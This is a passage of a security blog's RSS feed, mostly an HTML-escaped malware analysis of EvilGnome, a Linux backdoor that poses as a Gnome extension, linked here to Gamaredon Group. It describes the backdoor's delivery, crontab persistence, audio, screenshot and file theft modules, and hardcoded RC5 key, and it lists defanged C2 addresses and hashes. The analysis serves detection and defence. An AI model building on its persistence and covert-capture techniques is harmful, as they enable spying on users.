26ebeac4492616baf977903bb8deb7803bd5a22d8a005f02398c188b0375dfa4
cdf11a1fa7e551fe6be1f170ba9dedee80401396adf7e39ccde5df635c1117a9
https://9d842cb6.ngrok[.]io
https://7dc5fb4e.ngrok[.]io
https://z5r6anrjbcasuikp.onion[.]to
https://pastebin[.]com/raw/Dj3JTtnj
https://pastebin[.]com/raw/p3mGdbpq
https://pastebin[.]com/raw/UeynzXEr
https://pastebin[.]com/raw/MMCFQMH9
3.14.212[.]173
3.14.202[.]129
3.17.202[.]129
3.19.3[.]150
18.188.14[.]65&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>EvilGnome: Rare Malware Spying on Linux Desktop Users</title><link>https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/</link><pubDate>Wed, 17 Jul 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Linux desktop remains an unpopular choice among mainstream desktop users,
making up a little more than
&lt;a href="https://netmarketshare.com/operating-system-market-share.aspx?options=%7B%22filter%22%3A%7B%22%24and%22%3A%5B%7B%22deviceType%22%3A%7B%22%24in%22%3A%5B%22Desktop%2Flaptop%22%5D%7D%7D%5D%7D%2C%22dateLabel%22%3A%22Trend%22%2C%22attributes%22%3A%22share%22%2C%22group%22%3A%22platform%22%2C%22sort%22%3A%7B%22share%22%3A-1%7D%2C%22id%22%3A%22platformsDesktop%22%2C%22dateInterval%22%3A%22Monthly%22%2C%22dateStart%22%3A%222018-07%22%2C%22dateEnd%22%3A%222019-06%22%2C%22segments%22%3A%22-1000%22%7D"target="_blank" rel="noopener"&gt;2%&lt;/a&gt;
of the desktop operating system market share. This is in contrast to the web
server market share, which consists of
&lt;a href="https://w3techs.com/technologies/overview/operating_system/all"target="_blank" rel="noopener"&gt;70%&lt;/a&gt; of
Linux-based operating systems. Consequently, the Linux malware ecosystem is
plagued by financial driven crypto-miners and DDoS botnet tools which mostly
target vulnerable servers.&lt;/p&gt;
&lt;p&gt;This explains our surprise when in the beginning of July, we discovered a new,
fully undetected &lt;strong&gt;Linux backdoor implant&lt;/strong&gt;, containing rarely seen
functionalities with regards to Linux malware, targeting desktop users.&lt;/p&gt;
&lt;p&gt;Throughout our investigation, we have found evidence that shows operational
similarities between this implant and &lt;strong&gt;Gamaredon Group&lt;/strong&gt;. We have investigated
this connection and in this blog we will present a technical analysis of the
tool.&lt;/p&gt;
&lt;p&gt;We have named the implant &lt;strong&gt;EvilGnome&lt;/strong&gt;, for its disguise as a Gnome extension.
The malware is currently fully undetected across all major security solutions:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig1.png" title="Figure 1: VirusTotal detections of an EvilGnome sample" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: VirusTotal detections of an EvilGnome sample&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We believe this is a test version that was uploaded to VirusTotal, perhaps by
mistake. The implant contains an unfinished keylogger functionality, comments,
symbol names and compilation metadata which typically do not appear in
production versions. EvilGnome&amp;rsquo;s functionalities include desktop screenshots,
file stealing, allowing capturing audio recording from the user&amp;rsquo;s microphone
and the ability to download and execute further modules.&lt;/p&gt;
&lt;h2&gt;Gamaredon Group Connection&lt;span class="hx:absolute hx:-mt-20" id="gamaredon-group-connection"&gt;&lt;/span&gt;
&lt;a href="#gamaredon-group-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href="https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/"target="_blank" rel="noopener"&gt;Gamaredon Group&lt;/a&gt;
is an alleged Russian threat group. It has been active since at least 2013, and
has targeted individuals likely involved with the Ukrainian government.
Gamaredon Group infects victims using malicious attachments, delivered via
spear phishing techniques. The group&amp;rsquo;s implants are characterized by the
employment of information stealing tools—among them being screenshot and
document stealers delivered via a SFX, and made to achieve persistence through
a scheduled task. Gamaredon Group primarily makes use of Russian hosting
providers in order to distribute its malware.&lt;/p&gt;
&lt;p&gt;Our investigation into EvilGnome yielded several similarities between the
threat actors behind EvilGnome and Gamaredon Group:&lt;/p&gt;
&lt;h3&gt;Hosting Similarities&lt;span class="hx:absolute hx:-mt-20" id="hosting-similarities"&gt;&lt;/span&gt;
&lt;a href="#hosting-similarities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The operators of EvilGnome use a hosting provider that has been used by
Gamaredon Group for years, and continues to be used by the group.&lt;/p&gt;
&lt;p&gt;More specifically, EvilGnome&amp;rsquo;s C2 IP address (&lt;code&gt;195.62.52.101&lt;/code&gt;) was resolved two
months ago by the domains &lt;code&gt;gamework.ddns.net&lt;/code&gt; and &lt;code&gt;workan.ddns.net&lt;/code&gt;,
&lt;a href="https://x.threatbook.cn/nodev4/vb4/article?threatInfoID=1417"target="_blank" rel="noopener"&gt;associated&lt;/a&gt; with
the Gamaredon Group:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig2.png" title="Figure 2: RiskIQ EvilGnome C2 IP query" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: RiskIQ EvilGnome C2 IP query&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We used &lt;a href="https://community.riskiq.com/search/gamework.ddns.net"target="_blank" rel="noopener"&gt;RiskIQ&lt;/a&gt; to map
the history of the &lt;code&gt;gamework.ddns.net&lt;/code&gt; domain:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig3.png" title="Figure 3: gamework.ddns.net DNS timeline" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: gamework.ddns.net DNS timeline&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The finding shows that EvilGnome operates on an IP address that was controlled
by the Gamaredon group two months ago.&lt;/p&gt;
&lt;h3&gt;Infrastructure Similarities&lt;span class="hx:absolute hx:-mt-20" id="infrastructure-similarities"&gt;&lt;/span&gt;
&lt;a href="#infrastructure-similarities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;While investigating the EvilGnome C2, we observed that it served SSH over port
3436.&lt;/p&gt;
&lt;p&gt;We then checked for the 3436 port over three currently operating Gamaredon
Group C2 servers, and found one server with this port open, serving SSH:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig4.png" title="Figure 4: SSH served on port 3436 both on EvilGnome C2 and Gamaredons rnbo-ua.ddns.net" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: SSH served on port 3436 both on EvilGnome C2 and Gamaredons rnbo-ua.ddns.net&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We proceeded to scan for this network fingerprint under EvilGnome&amp;rsquo;s host
provider and we identified two additional servers with domain names similar to
the naming pattern of Gamaredon domains (the use of the .space TTLD and ddns):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;185.158.115.44&lt;/code&gt; -&amp;gt; &lt;a href="https://community.riskiq.com/search/kotl.space"target="_blank" rel="noopener"&gt;kotl.space&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;185.158.115.154&lt;/code&gt; -&amp;gt; &lt;a href="https://community.riskiq.com/search/clsass.ddns.net"target="_blank" rel="noopener"&gt;clsass.ddns.net&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tool Similarities&lt;span class="hx:absolute hx:-mt-20" id="tool-similarities"&gt;&lt;/span&gt;
&lt;a href="#tool-similarities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Gamaredon Group does not use any known Linux implants. It is difficult to make
comparisons between tools built for different operating systems because they
are developed with different challenges and objectives in mind. We can,
however, observe similarities at a high-level. The techniques and modules
employed by EvilGnome—that is the use of SFX, persistence with task scheduler
and the deployment of information stealing tools—remind us of Gamaredon Group&amp;rsquo;s
Windows tools. We present a thorough analysis of EvilGnome in the following
section.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Deployment with Makeself SFX&lt;span class="hx:absolute hx:-mt-20" id="deployment-with-makeself-sfx"&gt;&lt;/span&gt;
&lt;a href="#deployment-with-makeself-sfx" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;This implant is delivered in the form of a self-extracting archive shell script
created with &lt;a href="https://github.com/megastep/makeself"target="_blank" rel="noopener"&gt;makeself&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;&lt;a href="https://makeself.io/"target="_blank" rel="noopener"&gt;makeself.sh&lt;/a&gt; is a small shell script that generates a
self-extractable compressed tar archive from a directory. The resulting file
appears as a shell script (many of those have a &lt;code&gt;.run&lt;/code&gt; suffix), and can be
launched as is. The archive will then uncompress itself to a temporary
directory and an optional arbitrary command will be executed (for example an
installation script). This is pretty similar to archives generated with
WinZip Self-Extractor in the Windows world.&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Interestingly, the tool&amp;rsquo;s operator did not omit metadata from the generated
makeself SFX. The packaging date, development paths and the tool&amp;rsquo;s filename
were all left exposed. We can observe that the sample is very recent, created
on Thursday, July 4:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig6.png" title="Figure 5: Makeself packaging metadata and the archived files metadata" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Makeself packaging metadata and the archived files metadata&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As can be observed in the illustration above, the makeself script is instructed
to run &lt;code&gt;./setup.sh&lt;/code&gt; after unpacking.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;makeself&lt;/code&gt;&amp;rsquo;s options, we are able to instruct the script to unpack itself
without executing:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig7.png" title="Figure 6: Unpacking Makeself" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Unpacking Makeself&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The archive contains four files:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;gnome-shell-ext&lt;/code&gt; - the spy agent executable&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gnome-shell-ext.sh&lt;/code&gt; - checks if &lt;code&gt;gnome-shell-ext&lt;/code&gt; is already running and if
not, executes it&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rtp.dat&lt;/code&gt; - configuration file for &lt;code&gt;gnome-shell-ext&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;setup.sh&lt;/code&gt; - the setup script that is run by makeself after unpacking&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The setup script installs the agent to
&lt;code&gt;~/.cache/gnome-software/gnome-shell-extensions/&lt;/code&gt;, in an attempt to masquerade
itself as a Gnome shell extension. Gnome shell extensions allow tweaking the
Gnome desktop and add functionalities. They are the desktop equivalent to
browser extensions.&lt;/p&gt;
&lt;p&gt;Persistence is achieved by registering &lt;code&gt;gnome-shell-ext.sh&lt;/code&gt; to run every minute
in crontab.&lt;/p&gt;
&lt;p&gt;Finally, the script executes &lt;code&gt;gnome-shell-ext.sh&lt;/code&gt;, which in turn launches the
main executable &lt;code&gt;gnome-shell-ext&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig9.png" title="Figure 7: setup.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: setup.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;The Spy Agent&lt;span class="hx:absolute hx:-mt-20" id="the-spy-agent"&gt;&lt;/span&gt;
&lt;a href="#the-spy-agent" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Analyzing the agent with Intezer Analyze demonstrated to us that the code was
never seen before by the system:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Figure 8:
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=evilgnome-rare-malware-spying-on-linux-desktop-users&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/8db39fae-8f82-42b2-9816-b353a7dbb16b"target="_blank" rel="noopener"&gt;Intezer Analyze report of the Spy Agent sample&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This large amount of unique genes located within this file is not a trend we
regularly see in Linux files and therefore it seems suspicious.&lt;/p&gt;
&lt;p&gt;The Spy Agent was built in C++, using classes with an object oriented
structure. The binary was not stripped, which allowed us to read symbols and
understand the developer&amp;rsquo;s intentions.&lt;/p&gt;
&lt;p&gt;At launch, the agent forks to run in a new process. The agent then reads the
&lt;code&gt;rtp.dat&lt;/code&gt; configuration file and loads it directly into memory:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig11.png" title="Figure 9: Loading configuration from rtp.dat" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: Loading configuration from rtp.dat&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We marked interesting fields within the configuration file:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig12.png" title="Figure 10: Configuration dissection" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: Configuration dissection&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The first four bytes are a hexadecimal representation of the C2&amp;rsquo;s IP address:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;0x65343ec3 -&amp;gt; 0xc3.0x3e.0x34.0x65 -&amp;gt; 195.62.52.101&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Modules&lt;span class="hx:absolute hx:-mt-20" id="modules"&gt;&lt;/span&gt;
&lt;a href="#modules" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The spy agent contains five modules called &amp;ldquo;Shooters&amp;rdquo;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig13.png" title="Figure 11: Shooter modules" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 11: Shooter modules&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterSound&lt;/code&gt; - captures audio from the user&amp;rsquo;s microphone and uploads to C2&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterImage&lt;/code&gt; - captures screenshots and uploads to C2&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterFile&lt;/code&gt; - scans the file system for newly created files and uploads them
to C2&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterPing&lt;/code&gt; - receives new commands from C2&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ShooterKey&lt;/code&gt; - unimplemented and unused, most likely an unfinished keylogging
module&lt;/p&gt;
&lt;p&gt;Each module is run in a separate thread, and access to shared resources (such
as the configuration) is safeguarded by mutexes.&lt;/p&gt;
&lt;p&gt;The modules encrypt their output and decrypt data from the C2 with RC5 with the
key &amp;ldquo;&lt;code&gt;sdg62_AS.sa$die3&lt;/code&gt;&amp;rdquo;, using a modified version of a Russian open source
library
&lt;a href="https://webhamster.ru/site/page/index/articles/projectcode/157"target="_blank" rel="noopener"&gt;https://webhamster.ru/site/page/index/articles/projectcode/157&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig14.png" title="Figure 12: RC5 library" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 12: RC5 library&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;On connection failure, or if instructed by the C2, these modules store their
output at &lt;code&gt;~/.cache/gnome-software/gnome-shell-extensions/tmp/&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig15.png" title="Figure 13: Stored files" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 13: Stored files&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We will now dive into each of the five modules and their options:&lt;/p&gt;
&lt;h4&gt;ShooterPing&lt;span class="hx:absolute hx:-mt-20" id="shooterping"&gt;&lt;/span&gt;
&lt;a href="#shooterping" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The ShooterPing module processes commands received from the C2:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig16.png" title="Figure 14: C2 commands" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 14: C2 commands&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download &amp;amp; execute new files&lt;/li&gt;
&lt;li&gt;Set new filters for file scanning&lt;/li&gt;
&lt;li&gt;Download &amp;amp; set new runtime configuration&lt;/li&gt;
&lt;li&gt;Exfiltrate stored output to C2&lt;/li&gt;
&lt;li&gt;Stop the shooter modules from running&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The other modules run at a constant interval between each run, as defined by
one of the configuration parameters. The C2 is able to control this interval
via downloading new parameters through ShooterPing.&lt;/p&gt;
&lt;h4&gt;ShooterFile&lt;span class="hx:absolute hx:-mt-20" id="shooterfile"&gt;&lt;/span&gt;
&lt;a href="#shooterfile" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The ShooterFile module uses a filter list to scan the filesystem, while
ignoring specific files and folders as shown in the following illustration:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig17.png" title="Figure 15: File scanning filter" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 15: File scanning filter&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We can see from the &lt;code&gt;filter_accepted_files&lt;/code&gt; list that the agent&amp;rsquo;s purpose is to
steal document related files. However, the list is not used by the malware and
further indicates that this is a work in progress.&lt;/p&gt;
&lt;h4&gt;ShooterAudio&lt;span class="hx:absolute hx:-mt-20" id="shooteraudio"&gt;&lt;/span&gt;
&lt;a href="#shooteraudio" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig18.png" title="Figure 16: Capturing audio with PulseAudio" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 16: Capturing audio with PulseAudio&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The ShooterAudio module uses PulseAudio to capture audio from the user&amp;rsquo;s
microphone.&lt;/p&gt;
&lt;p&gt;Using default configuration from &lt;code&gt;rtp.dat&lt;/code&gt;, the module records only a size of
80,000 bytes of audio per iteration. Consequently, the module only records
audio for a brief moment, making this module non-functional until a larger
recording size is set by the C2.&lt;/p&gt;
&lt;h4&gt;ShooterImage&lt;span class="hx:absolute hx:-mt-20" id="shooterimage"&gt;&lt;/span&gt;
&lt;a href="#shooterimage" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;This module opens a connection to the XOrg Display Server, which is the backend
to the Gnome desktop. It uses the Cairo open source library to take screenshots
of the user&amp;rsquo;s desktop.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig19.png" title="Figure 17: Screenshot capturing using XOrg Server" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 17: Screenshot capturing using XOrg Server&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Prevention and Response&lt;span class="hx:absolute hx:-mt-20" id="prevention-and-response"&gt;&lt;/span&gt;
&lt;a href="#prevention-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We recommend to Linux users who want to check whether they are infected to
check the &lt;code&gt;~/.cache/gnome-software/gnome-shell-extensions&lt;/code&gt; directory for the
&lt;code&gt;gnome-shell-ext&lt;/code&gt; executable. We have also created a custom
&lt;a href="https://github.com/intezer/yara-rules/blob/master/EvilGnome.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;,
based on code reuse technology, for detecting future variants of EvilGnome.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;EvilGnome is a rare type of malware due to its appetite for Linux desktop
users. Throughout this post, we have presented detailed infrastructure-related
evidence to connect EvilGnome to the actors behind the Gamaredon Group. We
believe this is a premature test version. We anticipate newer versions to be
discovered and reviewed in the future, which could potentially shed more light
into the group&amp;rsquo;s operations.&lt;/p&gt;
&lt;h2&gt;Genetic Analysis&lt;span class="hx:absolute hx:-mt-20" id="genetic-analysis"&gt;&lt;/span&gt;
&lt;a href="#genetic-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The EvilGnome malware variant is now indexed in Intezer&amp;rsquo;s genetic database. If
you have a suspicious file that you suspect to be EvilGnome, you can upload it
to Intezer Analyze in order to detect code reuse to this threat family and many
others. You are welcome to
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=evilgnome-rare-malware-spying-on-linux-desktop-users&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/"target="_blank" rel="noopener"&gt;try it for free in our community edition&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/evilgnome-rare-malware-spying-on-linux-desktop-users/images/fig20.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Figure 18:
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=evilgnome-rare-malware-spying-on-linux-desktop-users&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/eeec2273-82ac-4190-b434-8ffb304deeef"target="_blank" rel="noopener"&gt;Intezer Analyze report of the Spy Agent sample&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;EvilGnome&lt;span class="hx:absolute hx:-mt-20" id="evilgnome"&gt;&lt;/span&gt;
&lt;a href="#evilgnome" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;a21acbe7ee77c721f1adc76e7a7799c936e74348d32b4c38f3bf6357ed7e8032
82b69954410c83315dfe769eed4b6cfc7d11f0f62e26ff546542e35dcd7106b7
7ffab36b2fa68d0708c82f01a70c8d10614ca742d838b69007f5104337a4b869
195.62.52[.]101&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Gamaredon Group&lt;span class="hx:absolute hx:-mt-20" id="gamaredon-group"&gt;&lt;/span&gt;
&lt;a href="#gamaredon-group" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
